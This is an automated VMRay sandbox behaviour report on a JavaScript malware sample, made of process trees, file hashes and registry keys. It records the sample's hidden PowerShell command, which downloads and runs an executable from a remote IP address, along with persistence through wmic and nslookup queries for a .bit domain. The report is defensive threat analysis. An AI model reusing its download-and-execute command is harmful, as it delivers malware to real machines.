VMRay Analyzer Report for Sample #1450489
VMRay Analyzer
2.2.0
URI
ipv4bot.whatismyipaddress.com
Resolved_To
Address
66.171.248.178
URI
ns1.virmach.ru
Resolved_To
Address
109.234.35.56
Process
1
3452
cscript.exe
1272
cscript.exe
"C:\Windows\System32\CScript.exe" "C:\Users\Nd9E1FYi\Desktop\DOC613~1.JS"
C:\Users\Nd9E1FYi\Desktop\
c:\windows\system32\cscript.exe
Child_Of
Created
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Process
3
3692
cmd.exe
3452
cmd.exe
"C:\Windows\System32\cmd.exe" /c powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass (new-object system.net.webclient).downloadfile('http://92.63.197.38/letsgo.exe?LbPUer','%appdAta%qTP35.exe'); staRt-ProceSS '%appdAta%qTP35.exe'
C:\Users\Nd9E1FYi\Desktop\
c:\windows\system32\cmd.exe
Child_Of
Created
Opened
Opened
Opened
Opened
Opened
Process
5
3736
powershell.exe
3692
powershell.exe
powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass (new-object system.net.webclient).downloadfile('http://92.63.197.38/letsgo.exe?LbPUer','C:\Users\Nd9E1FYi\AppData\RoamingqTP35.exe'); staRt-ProceSS 'C:\Users\Nd9E1FYi\AppData\RoamingqTP35.exe'
C:\Users\Nd9E1FYi\Desktop\
c:\windows\system32\windowspowershell\v1.0\powershell.exe
Child_Of
Created
Opened
Opened
Opened
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Connected_To
Connected_To
Process
6
4056
roamingqtp35.exe
3736
roamingqtp35.exe
"C:\Users\Nd9E1FYi\AppData\RoamingqTP35.exe"
C:\Users\Nd9E1FYi\Desktop\
c:\users\nd9e1fyi\appdata\roamingqtp35.exe
Child_Of
Created
Opened
Opened
Opened
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Modified_Properties_Of
Connected_To
Connected_To
Connected_To
Connected_To
Process
7
2932
nslookup.exe
4056
nslookup.exe
nslookup politiaromana.bit ns1.virmach.ru
C:\Users\Nd9E1FYi\Desktop\
c:\windows\syswow64\nslookup.exe
Opened
Opened
Read_From
Process
9
3392
roamingqtp35.exe
1592
roamingqtp35.exe
"C:\Users\Nd9E1FYi\AppData\RoamingqTP35.exe"
C:\Windows\system32\
c:\users\nd9e1fyi\appdata\roamingqtp35.exe
Child_Of
Child_Of
Child_Of
Created
Opened
Opened
Opened
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Created
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Modified_Properties_Of
Connected_To
Connected_To
Connected_To
Connected_To
Connected_To
Process
11
3524
nslookup.exe
3392
nslookup.exe
nslookup politiaromana.bit ns1.virmach.ru
C:\Windows\system32\
c:\windows\syswow64\nslookup.exe
Opened
Opened
Read_From
Process
13
3812
nslookup.exe
3392
nslookup.exe
nslookup politiaromana.bit ns1.virmach.ru
C:\Windows\system32\
c:\windows\syswow64\nslookup.exe
Opened
Opened
Read_From
Process
15
1416
wmic.exe
3392
wmic.exe
"C:\Windows\SysWOW64\wbem\wmic.exe" process call create "cmd /c start C:\Users\Nd9E1FYi\AppData\RoamingqTP35.exe"
C:\Windows\system32\
c:\windows\syswow64\wbem\wmic.exe
Child_Of
Opened
Process
17
816
svchost.exe
500
svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs
C:\Windows\system32\
c:\windows\system32\svchost.exe
Child_Of
Process
18
3152
wmiprvse.exe
584
wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
C:\Windows\system32\
c:\windows\system32\wbem\wmiprvse.exe
Child_Of
Process
19
1788
cmd.exe
3152
cmd.exe
cmd /c start C:\Users\Nd9E1FYi\AppData\RoamingqTP35.exe
C:\Windows\system32\
c:\windows\system32\cmd.exe
Child_Of
Created
Opened
Opened
Opened
Opened
Opened
Opened
Process
21
3312
roamingqtp35.exe
1788
roamingqtp35.exe
C:\Users\Nd9E1FYi\AppData\RoamingqTP35.exe
C:\Windows\system32\
c:\users\nd9e1fyi\appdata\roamingqtp35.exe
Child_Of
Created
Opened
Opened
Opened
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Wrote_To
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Created
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Opened
Modified_Properties_Of
Connected_To
Connected_To
Connected_To
Connected_To
Process
22
3400
nslookup.exe
3312
nslookup.exe
nslookup politiaromana.bit ns1.virmach.ru
C:\Windows\system32\
c:\windows\syswow64\nslookup.exe
Opened
Opened
Read_From
File
users\nd9e1fyi\desktop\doc613~1.js
users\nd9e1fyi\desktop\doc613~1.js
c:\
c:\users\nd9e1fyi\desktop\doc613~1.js
js
File
STD_OUTPUT_HANDLE
WinRegistryKey
Software\Microsoft\Windows Script Host\Settings
HKEY_CURRENT_USER
Enabled
WinRegistryKey
Software\Microsoft\Windows Script Host\Settings
HKEY_LOCAL_MACHINE
IgnoreUserSettings
Enabled
WinRegistryKey
Software\Microsoft\Windows Script Host\Settings
HKEY_LOCAL_MACHINE
IgnoreUserSettings
TrustPolicy
UseWINSAFER
WinRegistryKey
Software\Microsoft\Windows Script Host\Settings
HKEY_CURRENT_USER
TrustPolicy
UseWINSAFER
WinRegistryKey
.JS
HKEY_CLASSES_ROOT
WinRegistryKey
JSFile\ScriptEngine
HKEY_CLASSES_ROOT
WinRegistryKey
SOFTWARE\Microsoft\Windows Script\Features
HKEY_LOCAL_MACHINE
WinRegistryKey
Software\Microsoft\COM3
HKEY_LOCAL_MACHINE
COM+Enabled
WinRegistryKey
Software\Microsoft\Windows Script Host\Settings
HKEY_LOCAL_MACHINE
IgnoreUserSettings
LogSecuritySuccesses
WinRegistryKey
Software\Microsoft\Windows Script Host\Settings
HKEY_CURRENT_USER
LogSecuritySuccesses
WinRegistryKey
Software\Microsoft\Windows Script Host\Settings
HKEY_LOCAL_MACHINE
Timeout
DisplayLogo
WinRegistryKey
Software\Microsoft\Windows Script Host\Settings
HKEY_CURRENT_USER
Timeout
DisplayLogo
File
STD_OUTPUT_HANDLE
File
STD_INPUT_HANDLE
WinRegistryKey
Software\Policies\Microsoft\Windows\System
HKEY_CURRENT_USER
WinRegistryKey
Software\Microsoft\Command Processor
HKEY_LOCAL_MACHINE
DisableUNCCheck
EnableExtensions
DelayedExpansion
DefaultColor
CompletionChar
PathCompletionChar
AutoRun
DisableUNCCheck
EnableExtensions
DelayedExpansion
DefaultColor
CompletionChar
PathCompletionChar
AutoRun
WinRegistryKey
Software\Microsoft\Command Processor
HKEY_CURRENT_USER
DisableUNCCheck
EnableExtensions
DelayedExpansion
DefaultColor
CompletionChar
PathCompletionChar
AutoRun
DisableUNCCheck
EnableExtensions
DelayedExpansion
DefaultColor
CompletionChar
PathCompletionChar
AutoRun
File
STD_OUTPUT_HANDLE
File
STD_INPUT_HANDLE
File
STD_ERROR_HANDLE
File
users\nd9e1fyi\appdata\local\temp\4yreaw5k.md3.ps1
users\nd9e1fyi\appdata\local\temp\4yreaw5k.md3.ps1
c:\
c:\users\nd9e1fyi\appdata\local\temp\4yreaw5k.md3.ps1
ps1
MD5
c4ca4238a0b923820dcc509a6f75849b
SHA1
356a192b7913b04c54574d18c28d46e6395428ab
SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
File
users\nd9e1fyi\appdata\local\temp\dppe3wwf.ebw.psm1
users\nd9e1fyi\appdata\local\temp\dppe3wwf.ebw.psm1
c:\
c:\users\nd9e1fyi\appdata\local\temp\dppe3wwf.ebw.psm1
psm1
MD5
c4ca4238a0b923820dcc509a6f75849b
SHA1
356a192b7913b04c54574d18c28d46e6395428ab
SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
File
users\nd9e1fyi\appdata\local\microsoft\windows\powershell\commandanalysis\powershell_analysiscacheindex
users\nd9e1fyi\appdata\local\microsoft\windows\powershell\commandanalysis\powershell_analysiscacheindex
c:\
c:\users\nd9e1fyi\appdata\local\microsoft\windows\powershell\commandanalysis\powershell_analysiscacheindex
MD5
209a126e4839093dbd140950fa232dff
SHA1
a98ffb3882b8f519eede39d32935578d6e4c774b
SHA256
8ff6e7821f5e3cea46c176bd5ccc51c24ac089de25cfa18412726d00c0d59b75
File
users\nd9e1fyi\appdata\roamingqtp35.exe
users\nd9e1fyi\appdata\roamingqtp35.exe
c:\
c:\users\nd9e1fyi\appdata\roamingqtp35.exe
exe
MD5
64fe3cc06265bca6cc175cecfc16fc2e
SHA1
3f02ee202bd9040c25a3caf6af905345e458dc46
SHA256
063cf82cd52acb6a0539a6ff59f72fb5de473293a06c470a92c6d35a151b73e9
File
\device\condrv\currentout
File
windows\system32\windowspowershell\v1.0\certificate.format.ps1xml
windows\system32\windowspowershell\v1.0\certificate.format.ps1xml
c:\
c:\windows\system32\windowspowershell\v1.0\certificate.format.ps1xml
ps1xml
File
windows\system32\windowspowershell\v1.0\dotnettypes.format.ps1xml
windows\system32\windowspowershell\v1.0\dotnettypes.format.ps1xml
c:\
c:\windows\system32\windowspowershell\v1.0\dotnettypes.format.ps1xml
ps1xml
File
windows\system32\windowspowershell\v1.0\filesystem.format.ps1xml
windows\system32\windowspowershell\v1.0\filesystem.format.ps1xml
c:\
c:\windows\system32\windowspowershell\v1.0\filesystem.format.ps1xml
ps1xml
File
windows\system32\windowspowershell\v1.0\help.format.ps1xml
windows\system32\windowspowershell\v1.0\help.format.ps1xml
c:\
c:\windows\system32\windowspowershell\v1.0\help.format.ps1xml
ps1xml
File
windows\system32\windowspowershell\v1.0\helpv3.format.ps1xml
windows\system32\windowspowershell\v1.0\helpv3.format.ps1xml
c:\
c:\windows\system32\windowspowershell\v1.0\helpv3.format.ps1xml
ps1xml
File
program files\windowspowershell\modules\packagemanagement\1.0.0.1\packagemanagement.psd1
program files\windowspowershell\modules\packagemanagement\1.0.0.1\packagemanagement.psd1
c:\
c:\program files\windowspowershell\modules\packagemanagement\1.0.0.1\packagemanagement.psd1
psd1
File
program files\windowspowershell\modules\pester\3.3.5\pester.psd1
program files\windowspowershell\modules\pester\3.3.5\pester.psd1
c:\
c:\program files\windowspowershell\modules\pester\3.3.5\pester.psd1
psd1
File
program files\windowspowershell\modules\powershellget\1.0.0.1\powershellget.psd1
program files\windowspowershell\modules\powershellget\1.0.0.1\powershellget.psd1
c:\
c:\program files\windowspowershell\modules\powershellget\1.0.0.1\powershellget.psd1
psd1
File
program files\windowspowershell\modules\psreadline\1.1\psreadline.psd1
program files\windowspowershell\modules\psreadline\1.1\psreadline.psd1
c:\
c:\program files\windowspowershell\modules\psreadline\1.1\psreadline.psd1
psd1
File
windows\microsoft.net\framework64\v4.0.30319\config\machine.config
windows\microsoft.net\framework64\v4.0.30319\config\machine.config
c:\
c:\windows\microsoft.net\framework64\v4.0.30319\config\machine.config
config
File
users\nd9e1fyi\appdata\local\microsoft\windows\powershell\commandanalysis\powershell_analysiscacheentry_96fb2ebe-5768-403c-8fbc-1b0ef0323733
users\nd9e1fyi\appdata\local\microsoft\windows\powershell\commandanalysis\powershell_analysiscacheentry_96fb2ebe-5768-403c-8fbc-1b0ef0323733
c:\
c:\users\nd9e1fyi\appdata\local\microsoft\windows\powershell\commandanalysis\powershell_analysiscacheentry_96fb2ebe-5768-403c-8fbc-1b0ef0323733
File
windows\system32\windowspowershell\v1.0\modules\microsoft.powershell.utility\microsoft.powershell.utility.psd1
windows\system32\windowspowershell\v1.0\modules\microsoft.powershell.utility\microsoft.powershell.utility.psd1
c:\
c:\windows\system32\windowspowershell\v1.0\modules\microsoft.powershell.utility\microsoft.powershell.utility.psd1
psd1
File
windows\system32\windowspowershell\v1.0\modules\microsoft.powershell.utility\microsoft.powershell.utility.psm1
windows\system32\windowspowershell\v1.0\modules\microsoft.powershell.utility\microsoft.powershell.utility.psm1
c:\
c:\windows\system32\windowspowershell\v1.0\modules\microsoft.powershell.utility\microsoft.powershell.utility.psm1
psm1
Mutex
Global\PowerShell_CommandAnalysis_Lock_S-1-5-21-2172869166-1497266965-2109836178-1000
WinRegistryKey
SOFTWARE\Microsoft\.NETFramework\AppContext
HKEY_LOCAL_MACHINE
WinRegistryKey
Software\Microsoft\Windows\CurrentVersion\WSMAN
HKEY_LOCAL_MACHINE
ServiceStackVersion
ServiceStackVersion
WinRegistryKey
Software\Microsoft\PowerShell\3\PowerShellEngine
HKEY_LOCAL_MACHINE
ApplicationBase
ApplicationBase
WinRegistryKey
Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
HKEY_LOCAL_MACHINE
WinRegistryKey
Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
HKEY_CURRENT_USER
WinRegistryKey
Software\Policies\Microsoft\Windows\PowerShell\Transcription
HKEY_LOCAL_MACHINE
WinRegistryKey
Software\Policies\Microsoft\Windows\PowerShell\Transcription
HKEY_CURRENT_USER
WinRegistryKey
Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Winevt\Publishers\{5037b0a0-3a31-5cd2-ff19-103e9f160a74}
HKEY_LOCAL_MACHINE
WinRegistryKey
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\W. Europe Standard Time
HKEY_LOCAL_MACHINE
TZI
MUI_Display
MUI_Display
MUI_Std
MUI_Std
MUI_Dlt
MUI_Dlt
WinRegistryKey
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\W. Europe Standard Time\Dynamic DST
HKEY_LOCAL_MACHINE
WinRegistryKey
System\CurrentControlSet\Control\Session Manager\Environment
HKEY_LOCAL_MACHINE
PSMODULEPATH
PSMODULEPATH
WinRegistryKey
Environment
HKEY_CURRENT_USER
PSMODULEPATH
WinRegistryKey
SYSTEM\CurrentControlSet\Services\EventLog
HKEY_LOCAL_MACHINE
WinRegistryKey
SYSTEM\CurrentControlSet\Services\EventLog\Application
HKEY_LOCAL_MACHINE
WinRegistryKey
SYSTEM\CurrentControlSet\Services\EventLog\Application\PowerShell
HKEY_LOCAL_MACHINE
WinRegistryKey
SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents
HKEY_LOCAL_MACHINE
WinRegistryKey
SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents\PowerShell
HKEY_LOCAL_MACHINE
WinRegistryKey
SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer
HKEY_LOCAL_MACHINE
WinRegistryKey
SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer\PowerShell
HKEY_LOCAL_MACHINE
WinRegistryKey
SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service
HKEY_LOCAL_MACHINE
WinRegistryKey
SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service\PowerShell
HKEY_LOCAL_MACHINE
WinRegistryKey
SYSTEM\CurrentControlSet\Services\EventLog\OAlerts
HKEY_LOCAL_MACHINE
WinRegistryKey
SYSTEM\CurrentControlSet\Services\EventLog\OAlerts\PowerShell
HKEY_LOCAL_MACHINE
WinRegistryKey
SYSTEM\CurrentControlSet\Services\EventLog\Security
HKEY_LOCAL_MACHINE
WinRegistryKey
SYSTEM\CurrentControlSet\Services\EventLog\System
HKEY_LOCAL_MACHINE
WinRegistryKey
SYSTEM\CurrentControlSet\Services\EventLog\System\PowerShell
